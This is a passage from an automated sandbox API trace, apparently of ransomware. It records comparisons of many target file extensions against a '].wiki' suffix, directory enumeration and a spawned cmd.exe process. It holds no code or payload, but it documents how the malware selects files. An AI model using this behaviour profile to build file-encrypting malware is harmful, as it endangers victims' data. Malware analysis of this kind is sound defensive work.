(lpString=".accdb") returned 6 [0182.628] lstrcmpiW (lpString1=".accdb", lpString2="].wiki") returned -1 [0182.628] lstrlenW (lpString=".accdc") returned 6 [0182.628] lstrcmpiW (lpString1=".accdc", lpString2="].wiki") returned -1 [0182.628] lstrlenW (lpString=".accde") returned 6 [0182.628] lstrcmpiW (lpString1=".accde", lpString2="].wiki") returned -1 [0182.628] lstrlenW (lpString=".accdt") returned 6 [0182.628] lstrcmpiW (lpString1=".accdt", lpString2="].wiki") returned -1 [0182.628] lstrlenW (lpString=".accdw") returned 6 [0182.628] lstrcmpiW (lpString1=".accdw", lpString2="].wiki") returned -1 [0182.628] lstrlenW (lpString=".adb") returned 4 [0182.628] lstrcmpiW (lpString1=".adb", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".adp") returned 4 [0182.628] lstrcmpiW (lpString1=".adp", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".ai") returned 3 [0182.628] lstrcmpiW (lpString1=".ai", lpString2="iki") returned -1 [0182.628] lstrlenW (lpString=".ai3") returned 4 [0182.628] lstrcmpiW (lpString1=".ai3", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".ai4") returned 4 [0182.628] lstrcmpiW (lpString1=".ai4", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".ai5") returned 4 [0182.628] lstrcmpiW (lpString1=".ai5", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".ai6") returned 4 [0182.628] lstrcmpiW (lpString1=".ai6", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".ai7") returned 4 [0182.629] lstrcmpiW (lpString1=".ai7", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".ai8") returned 4 [0182.629] lstrcmpiW (lpString1=".ai8", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".anim") returned 5 [0182.629] lstrcmpiW (lpString1=".anim", lpString2=".wiki") returned -1 [0182.629] lstrlenW (lpString=".arw") returned 4 [0182.629] lstrcmpiW (lpString1=".arw", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".as") returned 3 [0182.629] lstrcmpiW (lpString1=".as", lpString2="iki") returned -1 [0182.629] lstrlenW (lpString=".asa") returned 4 [0182.629] lstrcmpiW (lpString1=".asa", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".asc") returned 4 [0182.629] lstrcmpiW (lpString1=".asc", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".ascx") returned 5 [0182.629] lstrcmpiW (lpString1=".ascx", lpString2=".wiki") returned -1 [0182.629] lstrlenW (lpString=".asm") returned 4 [0182.629] lstrcmpiW (lpString1=".asm", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".asmx") returned 5 [0182.629] lstrcmpiW (lpString1=".asmx", lpString2=".wiki") returned -1 [0182.629] lstrlenW (lpString=".asp") returned 4 [0182.629] lstrcmpiW (lpString1=".asp", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".aspx") returned 5 [0182.629] lstrcmpiW (lpString1=".aspx", lpString2=".wiki") returned -1 [0182.629] lstrlenW (lpString=".asr") returned 4 [0182.629] lstrcmpiW (lpString1=".asr", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".asx") returned 4 [0182.629] lstrcmpiW (lpString1=".asx", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".avi") returned 4 [0182.629] lstrcmpiW (lpString1=".avi", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".avs") returned 4 [0182.629] lstrcmpiW (lpString1=".avs", lpString2="wiki") returned -1 [0182.629] lstrlenW (lpString=".backup") returned 7 [0182.629] lstrcmpiW (lpString1=".backup", lpString2=" ].wiki") returned 1 [0182.629] lstrlenW (lpString=".bak") returned 4 [0182.630] lstrcmpiW (lpString1=".bak", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".bay") returned 4 [0182.630] lstrcmpiW (lpString1=".bay", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".bd") returned 3 [0182.630] lstrcmpiW (lpString1=".bd", lpString2="iki") returned -1 [0182.630] lstrlenW (lpString=".bin") returned 4 [0182.630] lstrcmpiW (lpString1=".bin", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".bmp") returned 4 [0182.630] lstrcmpiW (lpString1=".bmp", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".bz2") returned 4 [0182.630] lstrcmpiW (lpString1=".bz2", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".c") returned 2 [0182.630] lstrcmpiW (lpString1=".c", lpString2="ki") returned -1 [0182.630] lstrlenW (lpString=".cdr") returned 4 [0182.630] lstrcmpiW (lpString1=".cdr", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".cer") returned 4 [0182.630] lstrcmpiW (lpString1=".cer", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".cf") returned 3 [0182.630] lstrcmpiW (lpString1=".cf", lpString2="iki") returned -1 [0182.630] lstrlenW (lpString=".cfc") returned 4 [0182.630] lstrcmpiW (lpString1=".cfc", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".cfm") returned 4 [0182.630] lstrcmpiW (lpString1=".cfm", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".cfml") returned 5 [0182.630] lstrcmpiW (lpString1=".cfml", lpString2=".wiki") returned -1 [0182.630] lstrlenW (lpString=".cfu") returned 4 [0182.630] lstrcmpiW (lpString1=".cfu", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".chm") returned 4 [0182.630] lstrcmpiW (lpString1=".chm", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".cin") returned 4 [0182.630] lstrcmpiW (lpString1=".cin", lpString2="wiki") returned -1 [0182.630] lstrlenW (lpString=".class") returned 6 [0182.630] lstrcmpiW (lpString1=".class", lpString2="].wiki") returned -1 [0182.630] lstrlenW (lpString=".clx") returned 4 [0182.630] lstrcmpiW (lpString1=".clx", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".config") returned 7 [0182.631] lstrcmpiW (lpString1=".config", lpString2=" ].wiki") returned 1 [0182.631] lstrlenW (lpString=".cpp") returned 4 [0182.631] lstrcmpiW (lpString1=".cpp", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".cr2") returned 4 [0182.631] lstrcmpiW (lpString1=".cr2", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".crt") returned 4 [0182.631] lstrcmpiW (lpString1=".crt", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".crw") returned 4 [0182.631] lstrcmpiW (lpString1=".crw", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".cs") returned 3 [0182.631] lstrcmpiW (lpString1=".cs", lpString2="iki") returned -1 [0182.631] lstrlenW (lpString=".css") returned 4 [0182.631] lstrcmpiW (lpString1=".css", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".csv") returned 4 [0182.631] lstrcmpiW (lpString1=".csv", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".cub") returned 4 [0182.631] lstrcmpiW (lpString1=".cub", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".dae") returned 4 [0182.631] lstrcmpiW (lpString1=".dae", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".dat") returned 4 [0182.631] lstrcmpiW (lpString1=".dat", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".db") returned 3 [0182.631] lstrcmpiW (lpString1=".db", lpString2="iki") returned -1 [0182.631] lstrlenW (lpString=".dbf") returned 4 [0182.631] lstrcmpiW (lpString1=".dbf", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".dbx") returned 4 [0182.631] lstrcmpiW (lpString1=".dbx", lpString2="wiki") returned -1 [0182.631] lstrlenW (lpString=".dc3") returned 4 [0182.631] lstrcmpiW (lpString1=".dc3", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".dcm") returned 4 [0182.632] lstrcmpiW (lpString1=".dcm", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".dcr") returned 4 [0182.632] lstrcmpiW (lpString1=".dcr", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".der") returned 4 [0182.632] lstrcmpiW (lpString1=".der", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".dib") returned 4 [0182.632] lstrcmpiW (lpString1=".dib", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".dic") returned 4 [0182.632] lstrcmpiW (lpString1=".dic", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".dif") returned 4 [0182.632] lstrcmpiW (lpString1=".dif", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".divx") returned 5 [0182.632] lstrcmpiW (lpString1=".divx", lpString2=".wiki") returned -1 [0182.632] lstrlenW (lpString=".djvu") returned 5 [0182.632] lstrcmpiW (lpString1=".djvu", lpString2=".wiki") returned -1 [0182.632] lstrlenW (lpString=".dng") returned 4 [0182.632] lstrcmpiW (lpString1=".dng", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".doc") returned 4 [0182.632] lstrcmpiW (lpString1=".doc", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".docm") returned 5 [0182.632] lstrcmpiW (lpString1=".docm", lpString2=".wiki") returned -1 [0182.632] lstrlenW (lpString=".docx") returned 5 [0182.632] lstrcmpiW (lpString1=".docx", lpString2=".wiki") returned -1 [0182.632] lstrlenW (lpString=".dot") returned 4 [0182.632] lstrcmpiW (lpString1=".dot", lpString2="wiki") returned -1 [0182.632] lstrlenW (lpString=".dotm") returned 5 [0182.632] lstrcmpiW (lpString1=".dotm", lpString2=".wiki") returned -1 [0182.632] lstrlenW (lpString=".dotx") returned 5 [0182.632] lstrcmpiW (lpString1=".dotx", lpString2=".wiki") returned -1 [0182.632] lstrlenW (lpString=".dpx") returned 4 [0182.633] lstrcmpiW (lpString1=".dpx", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".dqy") returned 4 [0182.633] lstrcmpiW (lpString1=".dqy", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".dsn") returned 4 [0182.633] lstrcmpiW (lpString1=".dsn", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".dt") returned 3 [0182.633] lstrcmpiW (lpString1=".dt", lpString2="iki") returned -1 [0182.633] lstrlenW (lpString=".dtd") returned 4 [0182.633] lstrcmpiW (lpString1=".dtd", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".dwg") returned 4 [0182.633] lstrcmpiW (lpString1=".dwg", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".dwt") returned 4 [0182.633] lstrcmpiW (lpString1=".dwt", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".dx") returned 3 [0182.633] lstrcmpiW (lpString1=".dx", lpString2="iki") returned -1 [0182.633] lstrlenW (lpString=".dxf") returned 4 [0182.633] lstrcmpiW (lpString1=".dxf", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".edml") returned 5 [0182.633] lstrcmpiW (lpString1=".edml", lpString2=".wiki") returned -1 [0182.633] lstrlenW (lpString=".efd") returned 4 [0182.633] lstrcmpiW (lpString1=".efd", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".elf") returned 4 [0182.633] lstrcmpiW (lpString1=".elf", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".emf") returned 4 [0182.633] lstrcmpiW (lpString1=".emf", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".emz") returned 4 [0182.633] lstrcmpiW (lpString1=".emz", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".epf") returned 4 [0182.633] lstrcmpiW (lpString1=".epf", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".eps") returned 4 [0182.633] lstrcmpiW (lpString1=".eps", lpString2="wiki") returned -1 [0182.633] lstrlenW (lpString=".epsf") returned 5 [0182.633] lstrcmpiW (lpString1=".epsf", lpString2=".wiki") returned -1 [0182.633] lstrlenW (lpString=".epsp") returned 5 [0182.634] lstrcmpiW (lpString1=".epsp", lpString2=".wiki") returned -1 [0182.634] lstrlenW (lpString=".erf") returned 4 [0182.634] lstrcmpiW (lpString1=".erf", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".exr") returned 4 [0182.634] lstrcmpiW (lpString1=".exr", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".f4v") returned 4 [0182.634] lstrcmpiW (lpString1=".f4v", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".fido") returned 5 [0182.634] lstrcmpiW (lpString1=".fido", lpString2=".wiki") returned -1 [0182.634] lstrlenW (lpString=".flm") returned 4 [0182.634] lstrcmpiW (lpString1=".flm", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".flv") returned 4 [0182.634] lstrcmpiW (lpString1=".flv", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".frm") returned 4 [0182.634] lstrcmpiW (lpString1=".frm", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".fxg") returned 4 [0182.634] lstrcmpiW (lpString1=".fxg", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".geo") returned 4 [0182.634] lstrcmpiW (lpString1=".geo", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".gif") returned 4 [0182.634] lstrcmpiW (lpString1=".gif", lpString2="wiki") returned -1 [0182.634] lstrlenW (lpString=".grs") returned 4 [0182.634] lstrcmpiW (lpString1=".grs", lpString2="wiki") returned -1 [0198.517] FindNextFileW (in: hFindFile=0x42601e8, lpFindFileData=0x38cf094 | out: lpFindFileData=0x38cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.517] FindNextFileW (in: hFindFile=0x42601e8, lpFindFileData=0x38cf094 | out: lpFindFileData=0x38cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0198.517] FindNextFileW (in: hFindFile=0x42603a8, lpFindFileData=0x38cee18 | out: lpFindFileData=0x38cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.517] FindNextFileW (in: hFindFile=0x42603a8, lpFindFileData=0x38cee18 | out: lpFindFileData=0x38cee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fb3400, ftCreationTime.dwHighDateTime=0x1c9b093, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2fb3400, ftLastWriteTime.dwHighDateTime=0x1c9b093, nFileSizeHigh=0x0, nFileSizeLow=0xa2d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0199.091] FindNextFileW (in: hFindFile=0x42601e8, lpFindFileData=0x38cf094 | out: lpFindFileData=0x38cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.091] FindNextFileW (in: hFindFile=0x42601e8, lpFindFileData=0x38cf094 | out: lpFindFileData=0x38cf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 Process: id = "40" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6532e000" os_pid = "0x504" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x370" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 398 os_tid = 0x6b0 [0184.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fd70 | out: lpSystemTimeAsFileTime=0x22fd70*(dwLowDateTime=0xf11fbce0, dwHighDateTime=0x1d595b2)) [0184.413] GetCurrentProcessId () returned 0x504 [0184.413] GetCurrentThreadId () returned 0x6b0 [0184.413] GetTickCount () returned 0x1142ba3 [0184.414] QueryPerformanceCounter (in: lpPerformanceCount=0x22fd78 | out: lpPerformanceCount=0x22fd78*=14843738245) returned 1 [0184.416] GetModuleHandleW (lpModuleName=0x0) returned 0x4a260000 [0184.416] __set_app_type (_Type=0x1) [0184.416] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a287810) returned 0x0 [0184.416] __getmainargs (in: _Argc=0x4a2aa608, _Argv=0x4a2aa618, _Env=0x4a2aa610, _DoWildCard=0, _StartInfo=0x4a28e0f4 | out: _Argc=0x4a2aa608, _Argv=0x4a2aa618, _Env=0x4a2aa610) returned 0 [0184.416] GetCurrentThreadId () returned 0x6b0 [0184.416] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x6b0) returned 0x3c [0184.417] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77890000 [0184.417] GetProcAddress (hModule=0x77890000, lpProcName="SetThreadUILanguage") returned 0x778a6d40 [0184.417] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0184.417] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0184.417] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22fd08 | out: phkResult=0x22fd08*=0x0) returned 0x2 [0184.417] VirtualQuery (in: lpAddress=0x22fcf0, lpBuffer=0x22fc70, dwLength=0x30 | out: lpBuffer=0x22fc70*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.417] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22fc70, dwLength=0x30 | out: lpBuffer=0x22fc70*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.417] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22fc70, dwLength=0x30 | out: lpBuffer=0x22fc70*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.417] VirtualQuery (in: lpAddress=0x134000, lpBuffer=0x22fc70, dwLength=0x30 | out: lpBuffer=0x22fc70*(BaseAddress=0x134000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0184.417] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22fc70, dwLength=0x30 | out: lpBuffer=0x22fc70*(BaseAddress=0x230000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0184.417] GetConsoleOutputCP () returned 0x1b5 [0184.417] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0184.418] SetConsoleCtrlHandler (HandlerRoutine=0x4a283184, Add=1) returned 1 [0184.418] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.418] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0184.418] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.418] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a28e194 | out: lpMode=0x4a28e194) returned 0 [0184.418] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.418] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a28e198 | out: lpMode=0x4a28e198) returned 0 [0184.418] GetEnvironmentStringsW () returned 0x388a60* [0184.418] GetProcessHeap () returned 0x370000 [0184.418] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xa7c) returned 0x3894f0 [0184.419] FreeEnvironmentStringsW (penv=0x388a60) returned 1 [0184.419] GetProcessHeap () returned 0x370000 [0184.419] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x8) returned 0x3888e0 [0184.419] GetEnvironmentStringsW () returned 0x388a60* [0184.419] GetProcessHeap () returned 0x370000 [0184.419] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xa7c) returned 0x389f80 [0184.419] FreeEnvironmentStringsW (penv=0x388a60) returned 1 [0184.419] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ebc8 | out: phkResult=0x22ebc8*=0x44) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x0, lpData=0x22ebe0*=0x18, lpcbData=0x22ebc4*=0x1000) returned 0x2 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x1, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x0, lpData=0x22ebe0*=0x1, lpcbData=0x22ebc4*=0x1000) returned 0x2 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x0, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x40, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x40, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x0, lpData=0x22ebe0*=0x40, lpcbData=0x22ebc4*=0x1000) returned 0x2 [0184.419] RegCloseKey (hKey=0x44) returned 0x0 [0184.419] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22ebc8 | out: phkResult=0x22ebc8*=0x44) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x0, lpData=0x22ebe0*=0x40, lpcbData=0x22ebc4*=0x1000) returned 0x2 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x1, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.419] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x0, lpData=0x22ebe0*=0x1, lpcbData=0x22ebc4*=0x1000) returned 0x2 [0184.420] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x0, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.420] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x9, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.420] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x4, lpData=0x22ebe0*=0x9, lpcbData=0x22ebc4*=0x4) returned 0x0 [0184.420] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22ebc0, lpData=0x22ebe0, lpcbData=0x22ebc4*=0x1000 | out: lpType=0x22ebc0*=0x0, lpData=0x22ebe0*=0x9, lpcbData=0x22ebc4*=0x1000) returned 0x2 [0184.420] RegCloseKey (hKey=0x44) returned 0x0 [0184.420] time (in: timer=0x0 | out: timer=0x0) returned 0x5dc48d91 [0184.420] srand (_Seed=0x5dc48d91) [0184.420] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0184.420] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0184.420] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a29c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0184.420] GetProcessHeap () returned 0x370000 [0184.420] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x218) returned 0x38aa10 [0184.420] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0184.420] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0184.420] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0184.420] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0184.421] _wcsicmp 